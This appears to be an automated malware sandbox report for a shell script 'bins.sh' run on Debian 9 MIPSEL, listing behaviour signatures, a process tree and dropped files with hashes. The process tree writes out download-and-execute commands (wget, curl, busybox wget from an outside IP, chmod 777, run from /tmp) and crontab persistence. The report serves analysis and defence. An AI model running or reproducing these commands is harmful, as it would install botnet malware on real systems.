Overview

overview

9

Static

static

1

bins.sh

ubuntu-18.04-amd64

9

bins.sh

debian-9-armhf

7

bins.sh

debian-9-mips

7

bins.sh

debian-9-mipsel

8

Analysis

  • max time kernel
    150s
  • max time network
    153s
  • platform
    debian-9_mipsel
  • resource
    debian9-mipsel-20240611-en
  • resource tags

    arch:mipselimage:debian9-mipsel-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
  • submitted
    04/11/2024, 20:17

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General

  • Target
    bins.sh
  • Size 10KB
  • Sample241104-y2ntrawfqd
  • SHA256 a7ed1eb5952b365460201c73b32d87295f8d2b0faf69864665431fe40e4f98de
  • MD5 SHA1 SHA512 SSDEEP
Score
8/10
defense_evasiondiscoveryexecutionpersistenceprivilege_escalatio

Malware Config

Signatures

  • Contacts a large (1316) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • File and Directory Permissions Modification 1 TTPs 4 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

    defense_evasion
  • Executes dropped EXE 4 IoCs
  • Renames itself 1 IoCs
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

    executionpersistenceprivilege_escalatio
  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

    discovery
  • Writes file to tmp directory 8 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:712
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:716
        • /usr/bin/wget
          wget http://216.126.231.240/bins/3VGb0gvwOKP3FgPpnbM0qZLe9IQE2UGPhq
          2⤵
          • Writes file to tmp directory
          PID:719
        • /usr/bin/curl
          curl -O http://216.126.231.240/bins/3VGb0gvwOKP3FgPpnbM0qZLe9IQE2UGPhq
          2⤵
          • Writes file to tmp directory
          PID:737
        • /bin/busybox
          /bin/busybox wget http://216.126.231.240/bins/3VGb0gvwOKP3FgPpnbM0qZLe9IQE2UGPhq
          2⤵
          • Writes file to tmp directory
          PID:743
        • /bin/chmod
          chmod 777 3VGb0gvwOKP3FgPpnbM0qZLe9IQE2UGPhq
          2⤵
          • File and Directory Permissions Modification
          PID:744
        • /tmp/3VGb0gvwOKP3FgPpnbM0qZLe9IQE2UGPhq
          ./3VGb0gvwOKP3FgPpnbM0qZLe9IQE2UGPhq
          2⤵
          • Executes dropped EXE
          PID:745
        • /bin/rm
          rm 3VGb0gvwOKP3FgPpnbM0qZLe9IQE2UGPhq
          2⤵
            PID:747
          • /usr/bin/wget
            wget http://216.126.231.240/bins/q8L7Nf4v4nWCeQdj5uFk6ooIuCHu2YZ0fF
            2⤵
            • Writes file to tmp directory
            PID:748
          • /usr/bin/curl
            curl -O http://216.126.231.240/bins/q8L7Nf4v4nWCeQdj5uFk6ooIuCHu2YZ0fF
            2⤵
            • Writes file to tmp directory
            PID:749
          • /bin/busybox
            /bin/busybox wget http://216.126.231.240/bins/q8L7Nf4v4nWCeQdj5uFk6ooIuCHu2YZ0fF
            2⤵
            • Writes file to tmp directory
            PID:750
          • /bin/chmod
            chmod 777 q8L7Nf4v4nWCeQdj5uFk6ooIuCHu2YZ0fF
            2⤵
            • File and Directory Permissions Modification
            PID:751
          • /tmp/q8L7Nf4v4nWCeQdj5uFk6ooIuCHu2YZ0fF
            ./q8L7Nf4v4nWCeQdj5uFk6ooIuCHu2YZ0fF
            2⤵
            • Executes dropped EXE
            • Renames itself
            • Reads runtime system information
            PID:752
            • /bin/sh
              sh -c "crontab -l"
              3⤵
                PID:754
                • /usr/bin/crontab
                  crontab -l
                  4⤵
                    PID:755
                • /bin/sh
                  sh -c "crontab -"
                  3⤵
                    PID:756
                    • /usr/bin/crontab
                      crontab -
                      4⤵
                      • Creates/modifies Cron job
                      PID:757
                • /bin/rm
                  rm q8L7Nf4v4nWCeQdj5uFk6ooIuCHu2YZ0fF
                  2⤵
                    PID:759
                  • /usr/bin/wget
                    wget http://216.126.231.240/bins/GTzGbuekv82AYjNujuq9hoRr8lG7vB39Re
                    2⤵
                      PID:762
                    • /usr/bin/curl
                      curl -O http://216.126.231.240/bins/GTzGbuekv82AYjNujuq9hoRr8lG7vB39Re
                      2⤵
                        PID:763
                      • /bin/busybox
                        /bin/busybox wget http://216.126.231.240/bins/GTzGbuekv82AYjNujuq9hoRr8lG7vB39Re
                        2⤵
                        • Writes file to tmp directory
                        PID:764
                      • /bin/chmod
                        chmod 777 GTzGbuekv82AYjNujuq9hoRr8lG7vB39Re
                        2⤵
                        • File and Directory Permissions Modification
                        PID:765
                      • /tmp/GTzGbuekv82AYjNujuq9hoRr8lG7vB39Re
                        ./GTzGbuekv82AYjNujuq9hoRr8lG7vB39Re
                        2⤵
                        • Executes dropped EXE
                        PID:766
                      • /bin/rm
                        rm GTzGbuekv82AYjNujuq9hoRr8lG7vB39Re
                        2⤵
                          PID:767
                        • /usr/bin/wget
                          wget http://216.126.231.240/bins/E2wNZ7yKREMYc1cnARbkEc0CzhdNuWIlHc
                          2⤵
                            PID:768
                          • /usr/bin/curl
                            curl -O http://216.126.231.240/bins/E2wNZ7yKREMYc1cnARbkEc0CzhdNuWIlHc
                            2⤵
                              PID:769
                            • /bin/busybox
                              /bin/busybox wget http://216.126.231.240/bins/E2wNZ7yKREMYc1cnARbkEc0CzhdNuWIlHc
                              2⤵
                              • Writes file to tmp directory
                              PID:770
                            • /bin/chmod
                              chmod 777 E2wNZ7yKREMYc1cnARbkEc0CzhdNuWIlHc
                              2⤵
                              • File and Directory Permissions Modification
                              PID:776
                            • /tmp/E2wNZ7yKREMYc1cnARbkEc0CzhdNuWIlHc
                              ./E2wNZ7yKREMYc1cnARbkEc0CzhdNuWIlHc
                              2⤵
                              • Executes dropped EXE
                              PID:778
                            • /bin/rm
                              rm E2wNZ7yKREMYc1cnARbkEc0CzhdNuWIlHc
                              2⤵
                                PID:780
                              • /usr/bin/wget
                                wget http://216.126.231.240/bins/8WFounZGbZXsMF4FelpDqK2Vxd7WpulXMs
                                2⤵
                                  PID:782

                              Network

                                    MITRE ATT&CK Enterprise v15

                                    Replay Monitor

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                                    Downloads

                                    3VGb0gvwOKP3FgPpnbM0qZLe9IQE2UGPhq
                                    • Path /tmp/3VGb0gvwOKP3FgPpnbM0qZLe9IQE2UGPhq
                                    • Size 141KB
                                    • SHA256 dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f
                                    • MD5 SHA1 SHA512 SSDEEP
                                    Submit Download

                                    E2wNZ7yKREMYc1cnARbkEc0CzhdNuWIlHc
                                    • Path /tmp/E2wNZ7yKREMYc1cnARbkEc0CzhdNuWIlHc
                                    • Size 117KB
                                    • SHA256 8bc5e3bff5150738699927ca2b95f3e3bfd87aed44c30fc61fac788248528579
                                    • MD5 SHA1 SHA512 SSDEEP
                                    Submit Download

                                    GTzGbuekv82AYjNujuq9hoRr8lG7vB39Re
                                    • Path /tmp/GTzGbuekv82AYjNujuq9hoRr8lG7vB39Re
                                    • Size 111KB
                                    • SHA256 ff851250b0bd7e6f2c445b08d858d840b554caf75a37ada2a970ea4d317ba588
                                    • MD5 SHA1 SHA512 SSDEEP
                                    Submit Download

                                    q8L7Nf4v4nWCeQdj5uFk6ooIuCHu2YZ0fF
                                    • Path /tmp/q8L7Nf4v4nWCeQdj5uFk6ooIuCHu2YZ0fF
                                    • Size 151KB
                                    • SHA256 2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948
                                    • MD5 SHA1 SHA512 SSDEEP
                                    Submit Download

                                    tmp.7clj3M
                                    • Path /var/spool/cron/crontabs/tmp.7clj3M
                                    • Size 210B
                                    • SHA256 2895fe166372b5f7ae660f3598dfb125ebe4c08775aea741618be6e0baa76e1d
                                    • MD5 SHA1 SHA512
                                    Submit Download